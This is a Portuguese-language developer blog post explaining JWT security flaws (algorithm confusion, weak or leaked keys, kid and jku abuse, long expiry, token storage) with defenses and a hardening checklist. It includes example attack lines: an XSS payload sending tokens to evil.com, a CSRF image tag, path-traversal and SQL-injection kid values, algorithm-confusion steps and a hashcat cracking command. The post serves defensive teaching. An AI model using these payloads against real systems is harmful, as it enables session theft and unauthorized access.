ToolAct

Por que JWT não é seguro: da confusão de algoritmos ao vazamento de chaves — Lições reais

Ferramentas de Desenvolvedor9 de set. de 202618 min de leitura

O alerta das 3h que mudou como vejo JWT

2h47 de uma quarta-feira. Meu celular vibra sem parar. Uma linha no canal de ops: “API admin acessada sem autorização em staging.”

Abro o notebook meio dormindo. Os logs mostram que um usuário recém-registrado pegou seu próprio JWT, mudou role de user para admin no payload, e chamou o endpoint de delete. O servidor respondeu 200 OK.

Meu estômago revirou. Usávamos JWT. Não era “seguro”? Como uma mudança de campo burlou tudo?

O postmortem foi uma lição de humildade: não era culpa do JWT. Tratamos como bala de prata. Depois auditei cada uso de JWT no codebase e passei mal: alg:none não bloqueado, segredo 123456, tokens em localStorage, expiração de 30 dias… todos os anti-patterns do manual.

Este post é o teardown que eu gostaria de ter tido. JWT é um design elegante, mas elegante significa baixa tolerância ao mau uso. Um passo em falso e você entrega as chaves.

Primeiro, o básico: o que JWT é e o que não é

O mito mais perigoso: “JWT é criptografado.” Não é. JWT significa JSON Web Token. Ele responde a “fui eu que emiti isso e foi adulterado?” não a “como escondo dados?”

Um JWT normal tem três partes separadas por pontos:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEyMywicm9sZSI6InVzZXIifQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
  • Header: {"alg":"HS256","typ":"JWT"} — “Estou assinado com HS256.”
  • Payload: {"uid":123,"role":"user"} — dados de negócio, apenas codificados em Base64Url. Qualquer um pode decodificar.
  • Signature: HMAC ou RSA sobre as duas primeiras partes com a chave/algoritmo do header.

Pense em JWT como um cartão postal com selo de cera. Qualquer um pode ler o que você escreveu, mas se o selo não bater, foi adulterado. Nunca escreva seu PIN em um cartão postal.

Então pare de colocar password, phone ou SSN no payload. O pior que vi foi um SELECT * da tabela users enfiado num token — 8 KB por request, esmagando o gateway.

Categoria 1: Confusão de algoritmo — Elegante e mortal

É a classe de bug JWT mais famosa, pública desde 2015, ainda assim muitas libs “confiam no alg do cliente”.

1. Mudar alg para none e o servidor diz “claro!”

none é um algoritmo JWS válido que significa “sem assinatura”. Existe para casos não seguros. Uma má verificação parece assim:

// NÃO FAÇA ISSO
const [h] = token.split('.');
const header = JSON.parse(base64UrlDecode(h));
if (header.alg === 'none') return true; // sem verificar!
return verify(token, secret);

Exploit é trivial: mude header para {"alg":"none"}, coloque payload em {"role":"admin"}, remova a assinatura. O servidor deixa entrar.

Quando reproduzi isso em staging, minhas mãos tremiam. Uma mudança de string = admin.

Defesa: Aplique allowlist. O servidor hardcode algorithms: ['HS256'] ou ['RS256']. Rejeite none. jsonwebtoken moderno desativa none por padrão, mas verificadores caseiros ainda falham.

2. Troca RS256 → HS256: Usar chave pública como segredo HMAC

Essa já queimou grandes empresas.

RS256 é assimétrico: chave privada assina, pública verifica. HS256 é simétrico: mesmo segredo assina e verifica.

Bug: algumas libs escolhem método de verificação conforme header.alg. Atacante pega token RS256, muda header para HS256, e o servidor pensa: “Oh, HS256? Então verifico com HMAC usando o ‘segredo’.” E esse “segredo” é a chave pública RS256 — que é pública.

# Passos do atacante
1. Obter chave pública RS256 de /.well-known/jwks.json
2. Construir header {"alg":"HS256","typ":"JWT"}
3. Construir payload {"uid":1,"role":"admin"}
4. Assinar com HS256 usando a string da chave pública como segredo
5. Servidor verifica HMAC com mesma chave pública → passa

Tim McLean divulgou em 2015; muitas libs Python/Ruby foram afetadas. Sutil, devastador.

Defesa: Duas regras: ① Algoritmo de verificação é configurado no servidor, nunca do token. ② Mantenha chaves públicas RS256 e segredos HS256 separados. Passe sempre algorithms: ['RS256'] explicitamente.

3. Nunca confie em headers controlados pelo cliente

header.alg é controlado pelo atacante. Trate como isAdmin=true do cliente — nunca confie.

Categoria 2: Chaves — Finas como papel quando mal feitas

1. Segredos fracos: 123456 não é segredo

Já fiz brute-force de segredos JWT com hashcat em segundos: secret, password, 123456, jwt_secret. Acrônimo + ano como acme2023 é apenas ligeiramente melhor. Assinaturas JWT são determinísticas, então atacante pode fazer brute-force offline sem tocar no seu servidor.

hashcat -a 0 -m 16500 jwt.txt rockyou.txt

Defesa: Pelo menos 32 bytes aleatórios: openssl rand -hex 32. Rotacione imediatamente se você entregou um segredo fraco e invalide tokens antigos.

2. Vazamento de chaves: Frontend, GitHub, Logs

Três vazamentos vistos em auditorias:

  • Bundle frontend: JWT_SECRET empacotado em app.js. Pesquisável no devtools.
  • GitHub: .env commitado com my_super_secret_123.
  • Logs: Tokens completos logados no ELK, visíveis para todos. Vazamento de token = vazamento de chave equivalente.

Alguns frameworks até vazam o segredo em mensagens de erro ao falhar verificação.

Defesa: Chaves vivem apenas em env vars ou KMS. Frontend armazena tokens, nunca segredos. Redija tokens nos logs.

3. kid — A porta dos fundos esquecida

Campo header kid (Key ID) diz ao servidor qual chave usar:

const kid = header.kid;
const key = getKey(kid); // frequentemente concatenação
verify(token, key);

Se getKey for ingênuo:

  • Path traversal: kid="../../dev/null" → servidor usa arquivo vazio como chave.
  • SQLi: kid="1' OR '1'='1" se kid for concatenado em SQL.
  • Probe de leitura de arquivo: /keys/${kid}.pem com kid="../../../../etc/passwd".

Já enumerei kids válidos via diferenças de timing em “key not found”.

Defesa: Allowlist estrita para kid (alphanum + hífen). Use um map, nunca interpolação de path/SQL.

4. jku e x5u — Deixar o atacante escolher sua chave

jku (JWK Set URL) e x5u (X509 URL) dizem “busque minha chave pública nesta URL”. Se o servidor confiar, atacante aponta jku para seu próprio servidor e o servidor vai feliz buscar a chave do atacante para verificar o token do atacante.

Defesa: Desative jku/x5u/x5c em prod. Se precisar, allowlist de domínios + force HTTPS.

Categoria 3: Expiração, Revogação, Replay — O custo do stateless

O grande argumento de venda do JWT — stateless — é também sua maldição. Sessões são fáceis de revogar: delete a sessão. Um JWT, uma vez emitido, é um cheque irrevogável até expirar. Senha mudada, conta banida, token roubado — o atacante segue usando até expirar.

Vi exp de 30 dias ou nunca. “Para melhor UX, sem login.” Aí um celular perdido = janela de 30 dias.

O padrão certo — curta vida + revogável:

  • Access token curto: 5–15 min, claims mínimas.
  • Refresh token rotativo: Mais longevo, armazenado httpOnly + DB. Invalide o antigo ao usar. Detecção de reuso: mesmo refresh usado duas vezes → revogue todos os tokens do usuário.
  • Blocklist/allowlist: No logout/troca de senha/ban, coloque jti no Redis com TTL = vida restante. Cheque blocklist na verificação. Sim, vira stateful — compromisso necessário.
  • Valide aud, iss, nbf: Muitos verificadores pulam aud/iss. Resultado: token do serviço A funciona no serviço B.
jwt.verify(token, publicKey, {
  algorithms: ['RS256'],
  issuer: 'auth.mycompany.com',
  audience: 'api.mycompany.com',
  clockTolerance: 5
});

Categoria 4: Onde você armazena JWT decide como você morre

OndePrósContrasComo vaza
localStorage / sessionStorageFácil para frontendQualquer JS pode lerUm XSS rouba tudo
Variável em memóriaSome ao fechar abaPerde no refreshMais seguro mas UX ruim
Cookie httpOnly + Secure + SameSiteJS não lê, resistente a XSSRisco CSRFPrecisa token CSRF

Erro mais comum: colocar token em localStorage por comodidade, depois uma caixa de comentários sem filtro XSS é injetada com <img src=x onerror=fetch('https://evil.com?c='+localStorage.getItem('token'))> — tokens de todos os visitantes colhidos.

Cookies também não são mágicos: auto-enviados, permitem CSRF — <img src="https://api.mycompany.com/transfer?to=attacker"> dispara request autenticada se usuário está logado.

Padrão estável hoje: access token em memória, refresh token em cookie httpOnly + Secure + SameSite=Strict, mais SameSite e token anti-CSRF. Refresh no reload. E HTTPS em toda parte, senão tokens são texto puro.

Categoria 5: Claims esquecidos

Assinatura válida ≠ negócio válido. Muitas codebases fazem req.user = decoded após verificar e pulam:

  • exp não verificado — algumas libs não verificam a expiração por padrão.
  • nbf não verificado — “not before” ignorado, token usado cedo demais.
  • Privilégios no payload confiados: colocar role/isVip no JWT e confiar. Melhor: JWT carrega apenas uid, busque privilégios do DB/cache.
  • Replay: Sem dedup jti, token roubado é replayado. Para ações sensíveis, exija jti de uso único ou vincule jti + ip + ua.

Checklist de hardening prod — O que agora imponho

  1. Allowlist de algoritmo: Hardcode algorithms: ['RS256']. Nunca leia alg do header. Desative none, jku, x5u.
  2. Chaves fortes, rotacionáveis: ≥32 bytes aleatórios para HS256, ≥2048-bit para RS256. Armazene em KMS/env, suporte rotação por kid, mantenha chave antiga 7 dias.
  3. Expiração curta + rotação: access 10 min, refresh 7 dias rotativo + blocklist no logout/troca de senha/ban.
  4. Payload mínimo: Apenas uid, jti, exp, iat. Sem PII. Use JWE se precisar de dados sensíveis.
  5. Validação estrita: Verifique iss, aud, exp, nbf, jti. Nunca confie em JWT para autorização; consulte o servidor.
  6. Armazenamento: Refresh em cookie httpOnly, access em memória. Redija logs, force HTTPS, CSP contra XSS.
  7. Observabilidade: Trace emissão/refresh/revogação jti, alerte em reuso.

Em uma linha: trate JWT como passe descartável, não como identidade permanente.

Fechamento: JWT não está quebrado — Confiança cega está

O design do JWT é contido: três partes, Base64Url, algoritmos opcionais, claims padrão. Quase cada “insegurança” é preguiça de implementação: confiar em alg para economizar esforço, segredos fracos por conveniência, expiração de um mês por UX, enfiar permissões no payload por velocidade.

É como uma faca de cozinha: não é perigosa por si só, mas agite-a de olhos vendados e você se cortará.

Se você usa JWT hoje, dê um grep no seu codebase hoje à noite: algum verify(token, secret) sem algorithms? Algum segredo em texto plano em config.js? Algum token expirando em dias? Corrija um, você evitou um alerta às 3h da manhã.

Não espere uma violação para lembrar deste post.